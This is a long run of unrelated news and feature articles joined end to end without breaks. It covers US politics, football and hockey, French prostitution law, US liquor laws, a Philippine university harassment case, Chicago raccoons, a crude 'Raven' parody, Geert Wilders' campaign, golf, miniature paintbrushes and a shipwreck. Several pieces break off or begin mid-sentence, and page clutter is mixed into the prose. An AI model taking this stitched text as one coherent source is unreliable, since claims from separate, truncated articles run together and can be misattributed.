tax bill from Secretary Mnuchin, a separate one from [Trump's economics adviser] Gary Cohn, a third from whomever – why not take the basis of the House plan?". However, Brady seems not to have grasped the White House's distrust of the House Freedom Caucus, the 30-odd hardline conservatives who torpedoed the healthcare legislation. Unnamed White House sources are explaining that Trump will not negotiate with them again, and in future the President's objective would be to work with moderate Republicans and Democrats. But those White House sources were racing ahead of themselves because the administration's competing factions are yet to agree on a tax plan. As reported by Politico magazine, a "Goldman Sachs branch of the West Wing" led by Mnuchin is pitted against hardcore conservatives who are led by Trump's anarchic strategist Stephen Bannon. The Mnuchin faction is described as less ideological, more favourably disposed towards international trade deals and existing foreign relationships, and more measured in its approach to tampering with financial regulations – as opposed to the "crazier ideas coming from Bannon and the rest". But before the administration gets to rewrite the tax code it'll likely have to weather a threatened shutdown of some of the government – Congress is required to vote by April 28 to endorse new operational funds for a slew of agencies. That's when the likes of the House Freedom Caucus, emboldened after blocking the healthcare bill, is likely to flex its muscles again, balking at keeping government open unless the new funding deal contains a rider to deny funds to the likes of Planned Parenthood. Loading Democrats likely will be uppity too. Their Senate leader Chuck Schumer has hinted at blocking funding for Trump's multibillion dollar wall on the Mexican border as his ultimate smack down for the 45th President, so they are likely to use their Senate numbers to stymie any funding bill that includes funding for the wall. It could get messy.Get the biggest Middlesbrough FC stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email The football community joined forces on Monday night to pay a moving tribute to BBC Tees commenator Ali Brownlee. Three minutes into the second half of Boro’s Championship clash with Leeds, the visiting supporters at Elland Road began singing ‘there’s only one Ali Brownlee ’ and activated the torches on their mobile phones. An image of Ali was displayed on the stadium’s big screen and, within moments of the tribute beginning, many Leeds supporters paid their respects by applauding loudly or switching on their own phones to shine a light. What made the moment particularly poignant is the fact that there’s little love lost between the two sets of fans. But, like the impromptu Christmas Day armistice in No Man’s Land during World War One, both sides set aside their mutual antipathy to celebrate the life of one of their own. Video Loading Video Unavailable Click to play Tap to play The video will start in 8 Cancel Play now Thanks to social media, many Leeds fans would have been aware of Ali’s passing and, even if they weren’t personally familiar with his commentaries, they recognised that an important member of the northern football family had passed away, regardless of his club loyalties. It wasn’t the first time the two sets of supporters had come together for the common good. Back in December 1989, there was a serious, potentially fatal, crush in the away ‘pen’ at Ayresome Park during a second tier game between Boro and Leeds. Already full to capacity, the police decided to move visiting fans from ‘home’ areas of the stadium into a section of terracing already full to capacity. It was just eight months after the Hillsborough tragedy so fans were alert to the danger of overcrowding. Forcing more fans into that section led to a crush and, because of the high fences topped by rotating spikes at Ayresome Park, escape was nigh on impossible. From my vantage point in the Holgate End it was clear something was wrong because Boro fans high up in the stand behind the opposite goal were indicating to the police and stewards that many fans in the away terrace were in danger of being crushed. Eventually, the gates were opened and supporters were able to escape. As those fans were marched to an empty section of terracing they turned to the Boro fans and applauded them. The gesture was reciprocated and, for a brief moment, the rivalry was put on hold. The point is, when it counts, football fans put petty differences aside and join together for the greater good. Supporters are often criticised and rarely praised, which is a surprise when you consider the vast majority peacefully attend matches week-in, week-out, spending a huge amount of cash doing so. Without them football would be nothing. Ali Brownlee was a football fan first and foremost and, while he certainly had no love for Leeds United, he would have greatly appreciated Monday’s tribute at Elland Road.Brooks Orpik entered the season looking at a reduced role. Formerly deployed as a shutdown defender during his time in Washington, Orpik’s injuries, age, and the continued emergence of Dmitry Orlov have caused Barry Trotz and his staff to pencil in Orpik on the third defensive pairing. Thus far, the results have been outstanding and, to many people, pleasantly surprising. There are a lot of factors that go into Orpik’s improved play this season. The veteran defender certainly deserves credit for accepting the role and seemingly simplifying his game. Many people will point to Orpik’s sheltered minutes being a huge factor in his strong play, and it’s no doubt played a part. But not all third pairings are created equal. Orpik’s play on the third pair with Taylor Chorney this season has paled in comparison to his play on the third pair with Nate Schmidt. And Schmidt, for as much as he thrives on the Caps third pairing, as most any defender has under the Trotz regime, has shown an ability to play well in bigger roles. So, while being on the third pairing helps, this is far from the only reason Orpik and Schmidt have been such a strong pair. One thing that seems clear is that Orpik benefits greatly from skating with Schmidt. Orpik has skated 402:18 at 5-on-5 this season. 272:15 of this time has been with Schmidt and 130:03 has been without. Here’s how the Caps play in terms of shot attempts when Orpik is on the ice with Schmidt vs without. When Orpik is on the ice with Schmidt, 57.8 of the overall shot attempts go in the Caps favor. When skating without Schmidt, 47.7 percent of the overall shot attempts go in the Caps favor with Orpik on the ice. This is the difference between being the best possession team in the NHL (by a wide margin), and being in the bottom seven or so teams in the entire league. In other words, the Caps go from resembling a favorite for the Stanley Cup when Orpik is on the ice with Schmidt to being a lottery team when Orpik is on the ice without Schmidt. Shot attempts aren’t the only way to show how much better Orpik performs when he plays with Schmidt. Scoring chances show a similar story. The difference is even bigger here. The Caps see an astounding 59.6 percent of the scoring chances when Orpik and Schmidt are on the ice together. But, take away Schmidt and put Orpik out with any other Caps defender and the team sees just 45 percent of the scoring chances. This is not to take away credit from Orpik for his strong play. The role of the pairing also can’t be ignored. On top of these factors, there’s evidence to strongly support that Orpik really thrives when paired with the league’s most smiley defender, Nate Schmidt. Stats via Natural Stat Trick Headline photo: Love your melon Advertisements Share this story: Facebook Twitter Reddit Tumblr PinterestSex workers hold signs reading 'Prostitutes are angry. Don't touch our customers', during a protest against new bill. (Photo: AP) French lawmakers on Wednesday approved a bill against prostitution and sex trafficking that bans buying sex, not selling it. Customers will face fines and be made to attend awareness classes on the harms of the sex trade. The legislation, which passed 64-12 in the parliament's lower house, the National Assembly, makes French law one of the toughest against sex buyers in Europe. Prostitution in itself is legal in France - though brothels, pimping and the sale of sex by minors are illegal. The new measure does away with a 2003 law that banned passive soliciting by sex workers on the street and thus put the legal onus on prostitutes. This new bill focuses the punishment on the client, introducing a 1,500-euro ($1,700) fine that would rise to 3,750 euros for a sex buyer's second offense. The convicted client will be obliged to attend classes highlighting the dangers associated with prostitution. The measure will also make it easier for foreign prostitutes - many currently illegally in France - to acquire a temporary residence permit if they enter a process to get out of the prostitution business. Supporters of the bill argue that it will help fight trafficking networks. "The most important aspect of this law is to accompany prostitutes, give them identity papers because we know that 85 percent of prostitutes here are victims of trafficking," Maud Olivier, a lawmaker with the governing Socialists and a sponsor of the legislation, told The Associated Press. Olivier said that many of the sex workers who arrive in France have their passports confiscated by pimps. "We will provide them with documents on the condition they commit to leave prostitution behind," she added. But opponents fear that cracking down will push prostitutes to hide, leaving them even more at the mercy of pimps and violent clients. France's parliament started debating the bill in 2013, but the final vote was delayed due to sharp divisions between the lower parliamentary chamber and the Senate. Written by a group of lawmakers from both right and left and backed by the Socialist government, the legislation has been inspired by Sweden, which passed a similar measure in 1999. Norway and Iceland also followed the Swedish model. Other countries such as Germany, Switzerland and the Netherlands, where brothels are legal, are interested in the French experience. Also Read: Beyond bare chests and bellows: What is FEMEN and why do they go topless?Legislators in Pennsylvania and Tennessee may do the unthinkable during their respective 2013-2014 sessions: loosen their stranglehold on alcohol sales. "Pennsylvania maintains one of the tightest, most restrictive liquor-control systems in America,” according to the Pittsburgh Post-Gazette. The state’s Liquor Control Board sets prices and store hours, polices distribution, and caps the number of stores. But that could change this year. Pennsylvania Gov. Tom Corbett recommended privatizing liquor stores in his 2013-2014 budget proposal, and last month, the Pennsylvania House passed a bill for the first time ever that would transfer the ownership of state-run liquor stores to private entities over a period of time. According to Senate Majority Leader Dominic Pileggi, the measure faces stronger opposition in the upper chamber before it makes it to the Corbett's desk. The competing Senate bill, which seeks to “modernize” the existing model, does little more than tinker around the edges of the existing state-owned system. Every Pennsylvania Democrat and five Republicans voted against the House measure. Many Democrats opposed the bill because the sale of state-owned liquor stores would eliminate positions within state government. Statistics available at the Pennsylvania Office of Administration reveal the number of state employees has dropped by more than 2,000 since Corbett took office in 2011. “Voters want full privatization; they want convenience,” says Nate Benefield, Director of Policy Analysis for the free-market Commonwealth Foundation. Benefield suggested that the only groups opposed to privatization are state employees and alcohol distributors. David Taylor, Executive Director of the Pennsylvania Manufacturers Association, said, “Getting Pennsylvania out of the booze business will send a message that positive change is possible in Harrisburg and that even the most entrenched self-serving interests cannot thwart the public will forever.” The argument against privatization goes something like this: “Eighty to 90 percent of our income comes from beer sales. How are we going to be making a living if everyone has it?” That's a quote from Mark Tanczos, president of the Malt Beverage Distributors Association of Pennsylvania. As Tanczos demonstrates, the resistance to liquor store privatization boils down to pure protectionism. That's a less than compelling argument in the eyes of Pennsylvania voters. A poll taken by nationally-recognized pollster Fairbank, Maslin, Maulin, Metz, and Associates in January revealed that Republicans and Independents support privatization by a more than two-to-one margin, while Democrats support it by 52%-43%. While Senate leaders don't seem to be in a rush to get something to Gov. Corbett, liquor privatization in Pennsylvania seems to be a matter of "when," not "if." Booze reform in Tennessee In Tennessee, consumers may buy wine and liquor at privately-owned retailers, but a push to allow the sale of wine in grocery stores has gained steam over the last few years. An organization made up of more than 28,000 Tennesseans called Red, White & Food is leading the charge in Nashville. This isn't the first time Tennessee has considered opening the market to competition. State lawmakers have attempted to legalize the sale of wine in grocery stores during previous legislative sessions, but have come up short. A renewed effort this session may make it to Tennessee Governor Bill Haslam’s desk, but it still faces several hurdles. "This year, the legislation would’ve created the ability for local governments to hold referendums to allow grocery stores to sell wine," says Jarron Springer, President of the Tennessee Grocers & Convenience Store Association, who is helping to push the legislation along in the General Assembly. (Currently, jurisdictions allow referendums for liquor-by-the-drink, package sales, and the establishment of distilleries. To get such a measure on the ballot, proponents must first garner enough signatures equal to 10% of the number of voters who participated in the last gubernatorial election.) Asked about the greatest hurdle to passing wine in grocery stores by the end of the 2014 session, Springer said, “It’s been a real challenge to get anyone from the [anti-wine in grocery stores] side to discuss this. Advocates want to bring opponents to the table to work through a compromise.” Springer also notes that the issue goes much deeper than wine in grocery stores. The complex nature of Tennessee’s laws make it nearly impossible to alter one aspect of alcohol sales without disrupting another facet. The state governs how, when, and where wine and liquor may be sold, while localities decide how, when, and where beer may be sold. One proposed amendment to the Senate version would have expanded the hours of operation of liquor stores to include Sunday. Democrat Senator Doug Henry, who supports the sale of wine in grocery stores, does not support expanding the operating hours of liquor stores and would therefore not vote for an amended version of the original bill. The proposed bill passed the Senate Finance, Ways & Means committee after an earlier attempt this session stalled the measure. Increased public pressure in recent years has brought wine in grocery stores closer to reality, and lawmakers may well find a solution by the end of this legislative session. Other states are slowly moving toward liberalizing liquor laws. Washington recently privatized liquor sales by referendum, and Oregon may take the same path. Virginia Governor Bob McDonnell made the sale of state-owned ABC stores a priority in his 2009 campaign, but gridlock in the legislature halted that attempt for now. The trend, however, is in the direction of expanded consumer choice and reduced government interference. It’s just going to take more time.The University of Santo Tomas on Tuesday responded to the viral Facebook post, after its Student Welfare and Development Board (SWDB) drew flak on social media site for supposedly “victim-blaming” one of its students. “The University of Santo Tomas knows that it stands in loco parentis over the students and it has the duty to safeguard the students’ health and well-being. It has adopted measures as may be reasonably necessary to discharge such duty in order to protect its students from unfair or false accusation,” UST said in a statement. ADVERTISEMENT “We have investigated the administrative case involving the sister of Mr. Geo Celestino but unfortunately, the facts and evidence that Mr. Geo Celestino posted in his Facebook account do not conform to the records on file,” it added. Geo Celestino on January 29 narrated on Facebook how UST’s SWDB wrongly accused his sister, Yssa Celestino, of “falsely accusing another student of wrongdoing.” Geo’s post has reached over 31K shares, and 65K likes and reacts since its date of posting. The younger Celestino, a third year College of Fine Arts and Design student, was allegedly molested sexually by a fifth year UST Engineering student on a public transport vehicle. According to Geo, the incident happened one night in June 2016, Yssa fell asleep inside a UV Express on her way home when she felt a hand up her legs. When asked why she did not stop the man molesting her, she said she was not sure if anyone would believe her. She then repositioned her leg, but the molester did not stop. “And then she said she felt him again touch her leg. Now there were a million other choices that she could’ve made at that time, but what my sister did was take a picture of this molester,” Geo Celestino said in his post. Yssa posted the photo on Twitter, urging fellow students to take care when commuting. The UST SWDB summoned and questioned Yssa’s intentions for posting the photo, who was recognized as the university’s fifth engineering student, after it went viral. It also ordered her to remove the post. “Her well-meaning gesture was being questioned, and the case I mentioned at the start of this prose was filed against her. The process dragged on, and my sister who was already enduring the tough demands of CFAD to be a good student, just wanted to get things over with,” he said. ADVERTISEMENT He added that Yssa’s explanation fell on deaf ears. The hearing dragged on until Yssa was asked to apologize to the graduating student. Their parents received a “Notice of Resolution” on January 27 to affix their signatures, signifying they accept the hearing’s result. In a report by the Varsitarian, UST’s school publication, secretary to the SWDB director Angelica Guazon stressed that the board followed standard operating procedures during the investigation. Acts of sexual harrasment are punishable under RA 7877 or The Anti-Sexual Harrasment Act of 1995, and the provisions of the Revised Penal Code on Acts of Lasciviousness. RA 7877 penalizes sexual harassment with a fine ranging from P10K – P20K or imprisonment of 1 to 6 months, or both. Read Next LATEST STORIES MOST READSOUTH CHICAGO — Raccoons terrorizing a South Side block since June — leaving at least one kitten dead — are multiplying. And neighbors say they are fed up that the city isn't helping them. On Wednesday, hours after DNAinfo publicized the neighbors' complaints, city officials arrived to inspect a long-vacant house on 8300 South Saginaw Avenue that nearby residents say has become home to a family of raccoons. The house will be secured within the next day, said Chicago Department of Buildings spokeswoman Mimi Simon. Most of the windows were boarded up last week in response to a complaint, but an open window remained. Department of Buildings inspected the property at 8320 S. Saginaw for the second time Wednesday afternoon. "[It's] vacant and secure, except for the second floor rear window, which we will have secured within 24 hours," Simon said, adding that there's an active Circuit Court demolition case for the property. The court date has been set for Oct. 4. The raccoons showed up in June, resident Theo Daniels said earlier this month. And despite the death of a neighbor's cat and
, "Iron Mike Tyson was not asked to speak at the Convention though I'm sure he would do a good job if he was. The media makes everything up!" Iron Mike Tyson was not asked to speak at the Convention though I'm sure he would do a good job if he was. The media makes everything up! — Donald J. Trump (@realDonaldTrump) June 29, 2016 Trump was responding to a Bloomberg News report that said Trump's team was looking to line up a slate of sports figures to appear at the convention, including Tyson, ex-Chicago Bears coach Mike Ditka, former Indiana University basketball coach Bobby Knight and NASCAR chief Brian France. The report said the figures' roles at the convention had not been finalized. Trump did not reference the others in his tweet. CNN has reached out to Trump's campaign about the speakers and not immediately heard back. Read MoreThe Republican presidential candidate is said to be considering a request from Lorne Michaels, and would be the first candidate since 1996 to host the show. Saturday Night Live has had plenty of Mitt Romney impressions. Now the show’s creator wants the real thing. SNL executive producer Lorne Michaels has offered the Republican presidential candidate hosting duties on the show, and Romney is considering taking it, reports the New York Times. “He was funny on Letterman, giving the Top Ten list,” longtime SNL writer Jim Downey told the Times. PHOTOS: 11 Children's Movies With Political Agendas? You Betcha, Say Conservatives While SNL has had fun portraying the drawn out Republican race as circus-like, the staff acknowledges it has been difficult to rival 2008 and Tina Fey’s popular turn as Sarah Palin. Having the real Romney could open up new possibilities to a race that, from a comedic standpoint, risks growing stale. “Sarah Palin was a once-in-a-lifetime situation,” head writer Seth Meyers said. “She was incredibly magnetic and came with a built-in catchphrase.” Since the 2000 election, nearly all presidential candidates have appeared on SNL, either live or on tape, but as the Huffington Post points out, it hasn’t been since Steve Forbes in 1996 that a candidate actually hosted. Forbes dropped out of the race relatively early on, while Romney is all but assured to be the Republican nominee. PHOTOS: Democrats and Republicans' Favorite Movies There are assumed to be just two dates remaining this season with no hosts yet attached, though Romney could potentially host in the fall. Stay tuned.The Afghan Review Board backed off for a few days on releasing the 88 detainees from Bagram that the US insisted were particularly dangerous, but now say that they still don’t have any evidence warranting keeping them, and that they must be let go. The Pentagon has angrily been pushing against their release, saying the review board was never meant to have the power to let anyone go, and was supposed to choose between sending detainees for prosecution or ordering further investigations to look for evidence against them. Since the handover of Bagram, the Afghan government has been reviewing the evidence against detainees, and has released some 85% of those reviewed so far, 650 people, saying none of them had any real evidence against them. The 88 detainees were said to be “particularly dangerous” by the US, but the Review Board appears to have only the military’s word for it, since neither the US nor the Karzai government has produced anything amounting to evidence against any of them. Last 5 posts by Jason DitzA Connecticut pro-gun group launched personal attacks against a man whose child was killed in the Sandy Hook Elementary School massacre, accusing him of “profiting off of the tragedy,” the Huffington Post reported Wednesday. In a press release Wednesday, the nonprofit pro-gun group Connecticut Carry attacked Neil Heslin, who has pushed for increased gun restrictions after his son, Jesse Lewis, was killed in the school shooting. The group brought up Heslin’s history of run-ins with the law, including a decade-old felony conviction for narcotics possession. Heslin was supposed to appear in court on Wednesday to answer to charges ranging from “operating with a suspended license to issuing bad checks to larceny,” the News-Times newspaper in Danbury, Conn., reported. The group also said that Heslin himself is not eligible to purchase a firearm. “So often we find that the strongest critics of the right to bear arms are those people who cannot be trusted with firearms themselves,” the press release said. The release also raised alarm bells over the fact that Heslin’s activism on guns has brought him in contact with President Obama. “A felon within arm’s reach of the President of the administration so dead set on background checks,” the release said. “No better testimony to how ineffective background checks are needs to be presented.” Referring to the charges of issuing bad checks, the press release said Heslin used the tragedy to find “the employment he has needed for so long lobbying against the rights of the citizens of Connecticut and the rest of the country as well.” A spokesperson for Mayors Against Illegal Guns told the Huffington Post that Heslin was not compensated for participating in an ad by the group, which Connecticut Carry had cited as evidence of his newfound “employment.” The Huffington Post followed up on this charge and could not find evidence that Heslin has been employed or reimbursed for any of his gun-related activism. Heslin declined to talk to the News-Times, and referred questions to his attorneys, who did not return the newspaper’s calls. *This post has been updated.Cover provided by Timothy Lim The last living descendant of one of the great masters of horror and suspense literature, Edgar Allan Poe IV shares in his ancestor’s dark mastery of poetic composition. Regrettably, in parallel to the immortal Edgar Allan Poe I, he will most likely only come to be regarded with greater respect and admiration long after he has departed from this Earth. But for evidence of his skills being on par with that of his namesake, look no further than his brilliant homage to “The Raven”, titled “What the Hell, Bird?” published in such reputable literary journals as Gamer Informer, Sorcerer: The Guide to Comic Strips and Corner Penthouse. “What the Hell, Bird?” Composed by Edgar Allan Poe IV My evening shift at Wal-Mart had just finished and my Red Bull supply had about diminished And since my petty cash had all but vanished I figured I’d spend the night at home. So I returned there to my mother’s basement, not that I cared for such a placement, But much to my own intense embarrassment, I could not yet afford to go it alone. It’s not like I didn’t WANT to move out of the house and go it alone! But “overdraft” is what the ATM had shown. Soon midnight had come and I had grown bored and my blog post received neither comment nor word So I considered pulling “Rate My Ninja’s” cord, but decided I’d just go lie down in bed. While I laid there, nearly fapping, suddenly there came a rapping, Just like when Tu-Pac’s lips were flapping, at least before he wound-up dead. “‘Tis some gangsta,” I muttered, “Holy crap, I am SO dead— Maybe he’ll just take my TV, instead?” Right about then I was feeling kind of racist because I’d judged someone on a generalized basis Without so much as seeing any faces; my white guilt was palpable, to say the least. So in my guilt I flung wide the window! I flung the glass wide open even though It could be some burglar after my stereo, snarling ravenously like a beast. But it was just a little black raven, which I guess kind of counts as a “beast”. He must have been after a Dorito crumb feast. Presently, I thought that this was hella sweet! So I offered the creature a Cheeto treat, But he did not respond with so much as a “tweet”. Wait, is that the sound that ravens make? And then the raven, of his own volition, started pecking at my comic book collection! Holy S--T, dude! Those were in mint condition! I was going to sell them on eBay during summer break. Oh man, how I wanted to grab that bird’s neck and force it to break. Now I’d have to see what the thrift shop might take. “What the hell, bird?” I screamed, outraged! “A menace like you should be bound and caged!” Until then, only my mother had waged such a war against my collectables, before. Swiftly, I endeavored to shoo it away before it could make my action figures its next prey, But the stupid bird had elected to stay, landing on the bust of Optimus Prime above my basement door. “Only 500 of those were produced! Get off the bust of Optimus Prime above my basement door!” Quoth the raven, “Nevermore”. “What the hell’s that supposed to mean!?” I inquired. Look, it was, like, 1am and I was really tired And if I was late to work again, I would be fired. So I didn’t care that the bird had just talked. I picked up a shoe and was about to throw it but my apprehension then forced me to stow it Because my aim was bad and I knew I’d blow it; the thought of breaking Optimus is why I balked. GOD how I wanted to splatter that raven, but the bust cost $200 plus shipping. So I balked. “Nevermore,” the stupid bird squawked. I decided, perhaps, that I might ignore him. I’d play some Madden; THAT would bore him! Eventually, the bird would begin to snore then I would crush his skull in with a rock. Logging into Xbox Live, I began to play and around the third quarter things were going my way Until that freakin’ raven decided to say, “Nevermore” into the headset I used to talk. “Did you just call my mother a whore!?” SexyNiblets301 cried, assuming I had uttered smack-talk. Admins gave my Xbox Live account a three-week lock. “That’s bullshit, man!” I cried, repeatedly. “I’m gonna file a grievance with Microsoft immediately!” But of course no one would dare believe me when I said a raven called somebody’s mother a whore. By that point I had finally endured enough and I no longer cared if I broke all my stuff, So I stripped down naked and in the buff threw my G.I. Joes at the bust above my basement door. Alas, years of video games instead of sports meant I could not hit the broadside of a door. Sixteen misses and quoth the raven, “Nevermore”. Exactly why I was naked, well, I’m really not sure. You see, everything after that is kind of a blur, But I’m almost positive that I sprained or tore a back muscle when I tried to jump and grab the bird. The raven proceeded to escape my grasp and in thirty seconds I was beginning to gasp. “I’m out of shape…” I muttered in a rasp. And guess what? “Nevermore” is the response I heard. My self-esteem was really taking a number from the mocking commentary that I heard. Couldn’t the raven learn another word? “I’m not finished… with you… yet,” I panted. “Just a five minute break and its go-time,” I chanted. Then on the dirty floor I firmly planted my pathetic carcass of humiliated defeat. In my nude reflections I stoically considered just why a stupid bird left me so embittered? Then laying down there on the G.I. Joe-littered floor I curled up under a Superman bed-sheet. I’d probably feel better after a good night’s sleep underneath my stain-specked bed-sheet. In the morning, “nevermore” might even sound neat. But sleep afforded my consciousness no peace! And my oppressions offered me no release! I pleaded the tormenting specters to cease! And they were like, “Yeah, sure. Just kidding! You suck.” My dreams were all cast in a nightmarish hue and while in their thrall I knew not what to do. I thought to call on my homies and my crew, but my phone had no bars so I was out of luck. They wouldn’t have come, anyway; it was WoW Night. Such lousy luck. My homies would not have given a f--k. In honest truth, my nightmares are always the same and I know precisely where to lay the blame; On a figure with but a solitary name: and that figure was known only as “regret”. Not regret for letting a variant cover pass me by! Not regret for shoving over that handicap guy! It was regret coupled with the simple question: “Why? Why haven’t I done s--t with my life, yet?” I’m almost thirty and I haven’t so much as had one girlfriend, yet. Sho’ties dunno what they be missin’, you can bet! I spent high school playing Dungeons & Dragons; casting magic spells and drinking fake wine flagons. And when the Ren-Fair came, I’d hide in the hay wagons to pretend I was a dark elf assassin. Holy S--T is that how I wasted my youth? I was a total f-----g nerd to tell you the truth. And it doesn’t take some sort of super sleuth to figure out I attracted a lot of ass-kickin’. Unfortunately, it was never I doing any of the ass-kickin’. That I had friends AT ALL counted as a blessin’. Then following my high school graduation I found myself without any ambition And thus with a total lack of direction, I spent my twenties living like I was still sixteen. But perhaps this raven was just what I needed? He knew that my progress had been impeded! And that must have been why the bird had succeeded in pissing me off with his simple routine. He was trying to tell me complacency had trapped me in a life-stunting routine! I understand you, now, raven! I know what you mean! With revelation in hand, I cast off my covers. I could be rich and famous with many lovers! I looked to my “Predator 2” poster and Danny Glover and swore that from this point on, I would change. I’d no longer waste my time playing video games! I’d socialize and network and remember the names! Or I’d torch the house and collect the insurance claims. That last one seemed closer within my range. And you’d better believe my skill set doesn’t have tremendous range. Apparently, “arson” makes a resume look strange. The clock read Noon and I knew what that meant. I was fired from work; the pink slip already sent. And yet I felt no sensation of discontent; my job was sucky and I had wanted to quit. With all this newfound free time and no rent to pay I could still live comfortably from day to day And after putting all of my distractions away, I could take my life and do something with it. But I had absolutely no idea what I was going to do with it. I’d ask the bird! He seemed to know his s--t. I looked up to my bust of Optimus Prime and the raven had been sitting there the whole time Waiting for my dumb ass to think up the next rhyme. Jeez, how did Seuss do this s--t for a living? “Raven,” said I, “I must inform you I’m sorry. I sought to rid myself of you in a hurry, But it is evident now that I was foolish to worry, as you are truly the Spirit of Giving.” So I waited in silence for that feathered sage to start giving. But apparently the bird was not so forgiving. And still today, that raven, never flitting from my Optimus Prime bust, still is sitting. All he does is eat my snacks and start shitting, because it turns out he’s just a stupid bird. I interpreted him as some angel sent from above to help me be a success and maybe find love, But now I wish that I could just dispose of this raven who is not a metaphor or any other word! So I sit here playing Call of Duty, trying desperately to drown out that annoying word. Quoth the raven, “Nevermo—” OKAY! I get it! I heard you! I heard!SPIJKENISSE, Netherlands (Reuters) - Dutch anti-Muslim, anti-EU party leader Geert Wilders promised to crack down on “Moroccan scum” who he said were making the streets unsafe and urged the Dutch to “regain” their country as he launched his election campaign on Saturday. Dutch far right Party for Freedom (PVV) leader Geert Wilders campaigns for the 2017 Dutch election in Spijkenisse, a suburb of Rotterdam, Netherlands, February 18, 2017. REUTERS/Michael Kooren Wilders was surrounded by police and security guards during a walkabout in Spijkenisse, part of the ethnically diverse industrial area surrounding the vast port of Rotterdam and a stronghold of his Freedom Party. “Not all are scum, but there is a lot of Moroccan scum in Holland who makes the streets unsafe,” he told reporters, speaking in English. “If you want to regain your country, if you want to make the Netherlands for the people of the Netherlands, your own home, again, then you can only vote for one party.” Crime by young Moroccans was not being taken seriously, added Wilders, who in December was convicted of inciting discrimination for leading supporters in a chant that they wanted “Fewer! Fewer! Fewer!” Moroccans in the country. Wilders - who has lived in hiding since an Islamist murdered Dutch filmmaker Theo van Gogh in 2004 - pledges to ban Muslim immigration, close all mosques and take the Netherlands out of the European Union. Many of his supporters at the Spijkenisse market, however, said they cared more about his social welfare policies. “The most important thing for me is bringing the pension age back down to 65,” said Wil Fens, 59, a crane operator at the port. Wilders hopes a global upsurge in anti-establishment feeling that has already helped to propel Donald Trump to the U.S. presidency and to persuade Britons to vote to quit the European Union will propel him to power in the March 15 parliamentary election. A win for Wilders would boost French far-right leader Marine Le Pen and the Alternative for Germany party, both hoping to transform European politics in elections this year. “Despite all the hate and fear-mongering of the elite both in Britain and Brussels, people took their fate in their own hands,” he said. “I think that will happen in Holland, in France, Austria and in Germany.” Wilders’ party leads in opinion polls with 17 percent, a whisker ahead of the pro-business Liberals of Prime Minister Mark Rutte, who has closed the gap by matching some of Wilders’ anti-immigration rhetoric and received a boost from a surging economy. But if he wins, Wilders will struggle to form a government, since most major parties have ruled out joining a coalition with him, viewing his policies as offensive or even unconstitutional. The fragmented political landscape means a coalition government of four or more parties is all but inevitable. A study published by the Social Affairs Ministry on Tuesday found that up to 40 percent of the Turks and Moroccans in the Netherlands do not feel that they belong or are accepted.The PGA Tour is filled with great young players right now. Possibly the best one, Jon Rahm, isn't even a household name. Rahm, 22, has set the world ablaze in 2017 with his first PGA Tour win — at famed Torrey Pines — followed by a T-5 at Pebble Beach and a T-3 last week at the WGC-Mexico Championship. The former Arizona State product had an incredible college career that would make even the most famous ex-Sun Devils jealous. One of those men currently plays a role in shaping Rahm's future. Tim Mickelson, who coached Rahm at Arizona State, is now his manager. Tim's brother Phil (maybe you've heard of him) has said that Rahm is one of the best players in the world already. The two former ASU stars played alongside one another Sunday. Rahm is skipping this week's Valspar Championship so he can get some much-needed experience at Augusta National. Despite all his success and accolades, the Spaniard has never played the famous Georgia course. According golfchannel.com, Rahm plans to take a scouting trip to Augusta National on Tuesday and Wednesday with his caddie. As Rahm scouts Augusta National, the annual site of the Masters Tournament, the world is getting to know Rahm. Though he doesn't have the resume of Jordan Spieth or Rory McIlroy, a quick glance by even the most casual golf fan confirms Rahm is well on his way. Not only will Rahm be contending for majors sooner than later, but he will also be giving the U.S. fits in the Ryder Cup for years to come. Rahm has made just 18 PGA Tour starts. During that time, he has complied 12 top-25 finishes and five top-5 finishes. He is certainly one to watch.The Brushes Vehicle & Scenery Large Drybrush & Small Drybrush Stippling When trying to create rust and weathering effects, the Stippling brush is the perfect tool. The short flat bristles create a speckled effect on surfaces simulating areas of corrosion and damage. Combine this with the Vehicle & Scenery to get an excellent finish on your vehicles. Monster Regiment Character Detail The Detail brush is excellent for when you want to achieve more than just a table top standard paint job. The fine bristles make light work of intricate areas, such as faces and decorative armors, making it the ideal brush for your most powerful Heroes. Insane Detail The aptly named Insane Detail brush is reserved for those extra special paint jobs where you want to achieve a showcase style finish. The fine point allows you to reach some of the smallest areas of a miniature such as eyes and fingernails. You can also use this brush for free hand text on scrolls and books, but make sure you have a steady hand. Pyscho You may have thought that you couldn't get a much smaller brush than the Insane Detail, but you'd be wrong. The mad scientists over at the Army Painter have created the Pyscho brush. Especially designed for anyone deranged enough to want to paint individual eye lashes or single celled organisms. On a serious note, this brush is fantastic if you want to paint minuscule detail such as iris's. Video Quality The Army Painters range of Wargamer brushes features a mixture of bristle materials. The larger brushes (Drybrushes, Regiment) are made from Toray synthetic fibres giving you a soft flexible brush that holds paint extremely well. The smaller brushes are made from Rothmarder sable which is great for achieving a fine point, the bristles also have a good amount of spring to them which makes painting much easier. What is also an interesting feature with the Wargamer range is their handle shape. Rather than the traditional round handle, The Army Painter have opted for a triangular shaped one instead. This gives you a surprising amount of control over the brush as your fingers rest on each of the handles facets. This is an excellent advantage if you're using the the Detail and Insane Detail brushes where fine control is key. Summary Overall The Army Painters Wargamer range is great selection of brushes. It provides a brush for every job and maintains a great level of quality throughout. Innovative features such as the triangular handles really help this range stand out from the masses of other paintbrushes available out there. The range is also relatively inexpensive, especially when you consider how long they will last if taken good care of. So if you're looking to update your paintbrushes then I highly recommend picking up some of the Army Painters Wargamer range.This incredible 102-year-old floating forest is the result of 40 years of mangrove tree growth in Homebush Bay, Sydney. The SS Aryfield is an abandoned ship used in WWII that was left in the bay to deteriorate after the ship wrecking yard closed down. The SS Ayrfield (originally launched as SS Corrimal), was a collier ship built in England in 1911 and used by the Commonwealth Government during World War II to transport supplies to American troops in the Pacific. It was sold in 1950 and operated as a collier on the sixty-miler run between Newcastle and Sydney, until 1972 when the ship's registration was canceled and it was sent to its final resting place, Homebush Bay. A bunch of full-grown mangrove trees now call this rusty partly-submerged piece of metal home, creating a new and unique attraction that draws in photographers from all over the world.Sarah Sanders: Trump Has Already Done More Than Obama White House Press Secretary Sarah Huckabee Sanders said President Donald Trump has done more during his first year in office to curb ISIS' efforts and North Korea's nuclear program than his predecessor, former President Barack Obama, accomplished in eight years. On Oct. 9, Sanders took to social media to assert that Trump had indisputably improved national security after eight months in office, the Washington Examiner reports. "It's indisputable that President [Donald Trump] has done more to isolate North Korea & defeat ISIS in 8 months than Obama did in 8 years," Sanders tweeted out. ADVERTISEMENT Thanks for watching! Visit Website The press secretary followed up with an 